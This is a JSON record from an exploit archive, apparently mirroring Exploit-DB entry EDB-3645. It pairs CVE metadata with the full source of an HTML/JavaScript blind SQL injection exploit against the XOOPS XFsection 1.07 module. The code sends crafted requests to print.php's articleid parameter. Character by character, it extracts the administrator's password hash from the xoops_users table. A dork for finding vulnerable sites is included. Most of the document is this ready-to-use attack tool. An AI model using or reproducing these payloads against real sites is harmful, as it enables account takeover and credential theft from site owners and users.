{"exploit":{"id":"EDB-3645","name":"XOOPS Module XFsection 1.07 - 'articleId' Blind SQL Injection (SQLi)","description":"XOOPS Module XFsection 1.07 - 'articleId' Blind SQL Injection (SQLi)","cves":["CVE-2007-1974","CVE-2005-0725"],"author":"ajann","published":"2007-04-02","platform":"php","type":"webapps","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3645","path":"exploits/php/webapps/3645.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3645.html","vulnerabilities":[{"id":"CVE-2007-1974","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the getArticle function in class/wfsarticle.php in WF-Section (aka WF-Sections) 1.0.1, as used in Xoops modules such as (1) Zmagazine 1.0, (2) Happy Linux XFsection 1.07 and earlier, and possibly other modules, allows remote attackers to execute arbitrary SQL commands via the articleid parameter to print.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1974","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1974"},"updatedAt":"2024-08-07T13:13:42.000Z","retrievedAt":"2026-11-27T02:07:31.192Z","stale":false,"error":null},{"id":"CVE-2005-0725","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the getAllbyArticle function in wfsfiles.php for WF-Sections (wfsections) 1.07 allows remote attackers to execute arbitrary SQL commands via the articleid parameter to article.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0725","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0725"},"updatedAt":"2024-08-07T21:21:06.654Z","retrievedAt":"2026-11-27T02:23:22.181Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3645.png?v=2","url":"https://exploitbin.com/exploits/EDB-3645","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3645/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3645/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<html>\n<head>\n<title>XOOPS Module XFsection <= 1.07 (articleid) BLIND SQL Injection Exploit</title>\n\n<script type=\"text/javascript\">\n\n//'===============================================================================================\n//'[Script Name: XOOPS Module XFsection <= 1.07 (articleid) BLIND SQL Injection Exploit\n//'[Coded by   : ajann\n//'[Author     : ajann\n//'[Contact    : :(\n//'[Dork       : inurl:/modules/xfsection/\n//'[S.Page     : http://linux2.ohwada.net/\n//'[$$         : Free\n//'[Using      : Write Target after Submit Click\n//'===============================================================================================\n\n\n   function nesneyarat() {\n\n var nesne;\n var tarayici = navigator.appName;\n\n\n     if(tarayici == \"Microsoft Internet Explorer\"){\n nesne = new ActiveXObject(\"Microsoft.XMLHTTP\");\n    }\n  else {\n nesne = new XMLHttpRequest();\n\n  }\nreturn nesne;\n}\n\n var http = nesneyarat();\n\n\n\n   function islemlink(adresyolla,charyolla) {\n\ngenreidim=document.getElementById('genreid').value\nfile=\"/modules/xfsection/print.php?articleid=\" + genreidim\npathim=document.getElementById('path').value + file\nkarakterim=document.getElementById('karakter').value + charyolla\nadres=document.getElementById('adresim').value + pathim +  adresyolla + karakterim\n\n\n\n\n http.open('get', adres);\n http.onreadystatechange = cevapFonksiyonu;\n http.send(null);\n\n\n}\n\n\n\n   function cevapFonksiyonu() {\n if(http.readyState == 4){\ndocument.getElementById('mesaj').value = http.responseText;\nyonlendir();\n\n}\n}\n\n\n\nfunction yonlendir() {\n\n  if (document.getElementById('mesaj').value.indexOf('<span style=\"font-size: large;\">', 0) == -1) {\n alert('False');\n\n\n  }\n\n if (document.getElementById('mesaj').value.indexOf('<span style=\"font-size: large;\">', 0) != -1)  {\n   alert('TRUEEEEEEE');\n   }\n\n\n\n  }\n\nfunction dal() {\n\nif (document.getElementById('buton').value == \"Test Character(0)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=48)/*');\n   document.getElementById('buton').value = \"Test Character(1)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(1)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=49)/*');\n   document.getElementById('buton').value = \"Test Character(2)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(2)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=50)/*');\n   document.getElementById('buton').value = \"Test Character(3)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(3)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=51)/*');\n   document.getElementById('buton').value = \"Test Character(4)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(4)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=52)/*');\n   document.getElementById('buton').value = \"Test Character(5)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(5)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=53)/*');\n   document.getElementById('buton').value = \"Test Character(6)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(6)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=54)/*');\n   document.getElementById('buton').value = \"Test Character(7)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(7)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=55)/*');\n   document.getElementById('buton').value = \"Test Character(8)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(8)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=56)/*');\n   document.getElementById('buton').value = \"Test Character(9)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(9)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=57)/*');\n   document.getElementById('buton').value = \"Test Character(a)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(a)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=97)/*');\n   document.getElementById('buton').value = \"Test Character(b)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(b)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=98)/*');\n   document.getElementById('buton').value = \"Test Character(c)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(c)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=99)/*');\n   document.getElementById('buton').value = \"Test Character(d)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(d)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=100)/*');\n   document.getElementById('buton').value = \"Test Character(e)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(e)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=101)/*');\n   document.getElementById('buton').value = \"Test Character(f)\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\nif (document.getElementById('buton').value == \"Test Character(f)\") {\n\n document.getElementById('buton').disabled = true;\nislemlink('/**/AND/**/(ascii(substring((SELECT/**/pass/**/FROM/**/xoops_users/**/WHERE/**/uid=1),',',1))=102)/*');\n   document.getElementById('buton').value = \"Finished\"\n setTimeout(\"document.getElementById('buton').disabled = false;\",2000);\nreturn false;\n\n }\n\n\n\n  }\n\n\n</script>\n\n   </head>\n\n <body bgcolor=\"#000000\">\n\n<center>\n\n<p><b><font face=\"Verdana\" size=\"2\" color=\"#008000\">XOOPS Module XFsection <= 1.07 (articleid) BLIND SQL Injection Exploit</font></b></p>\n\n<p></p>\n    <b><font face=\"Arial\" size=\"1\" color=\"#FF0000\">Target:</font><font face=\"Arial\" size=\"1\" color=\"#808080\">[http://[target]/</font><font color=\"#00FF00\" size=\"2\" face=\"Arial\">\n  </font><font color=\"#FF0000\" size=\"2\">&nbsp;</font></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n  <input type=\"text\" name=\"adresim\" size=\"20\" style=\"background-color: #808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\" value=\"http://\"></p>\n<br>\n    <b><font face=\"Arial\" size=\"1\" color=\"#FF0000\">&nbsp;Path:</font><font face=\"Arial\" size=\"1\" color=\"#808080\">[http://[target]/[scriptpath]&nbsp;&nbsp;&nbsp; </font></b>\n  <input type=\"text\" name=\"path\" size=\"20\" style=\"background-color: #808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\" value=\"/\">\n  <p>\n    <b><font face=\"Arial\" size=\"1\" color=\"#FF0000\">&nbsp;Character:</font><font face=\"Arial\" size=\"1\" color=\"#808080\">[Md5\n  Character 1-32]&nbsp;&nbsp; </font></b>\n  <input type=\"text\" name=\"karakter\" size=\"20\" style=\"background-color: #808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\" value=\"1\">\n</p>\n  <p>\n    <b><font face=\"Arial\" size=\"1\" color=\"#FF0000\">Article Id:</font><font face=\"Arial\" size=\"1\" color=\"#808080\">[print.php?articleid=]&nbsp;&nbsp; </font></b>\n  <input type=\"text\" name=\"genreid\" size=\"20\" style=\"background-color: #808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\" value=\"1\">\n</p>\n  <p><input type=\"submit\" value=\"Test Character(0)\" name=\"buton\" onclick=\"dal();\"></p>\n<br>\n<textarea name=\"mesaj\" rows=\"1\" cols=\"20\" style=\"visibility:hidden\">&lt;/textarea&gt; <br>\n<p>\n\n<b><font face=\"Verdana\" size=\"2\" color=\"#008000\">ajann</font></b></p>\n</p>\n</center>\n\n\n </body>\n </html>\n\n# milw0rm.com [2007-04-02]","sha256":"7568cd92b62c2d831c4c98d23945a9b4466752b7cdd969426e59db8077206f17","bytes":10255,"fetchedAt":"2026-11-27T02:07:29.485Z","encoding":"utf-8 (display only; download retains original bytes)"}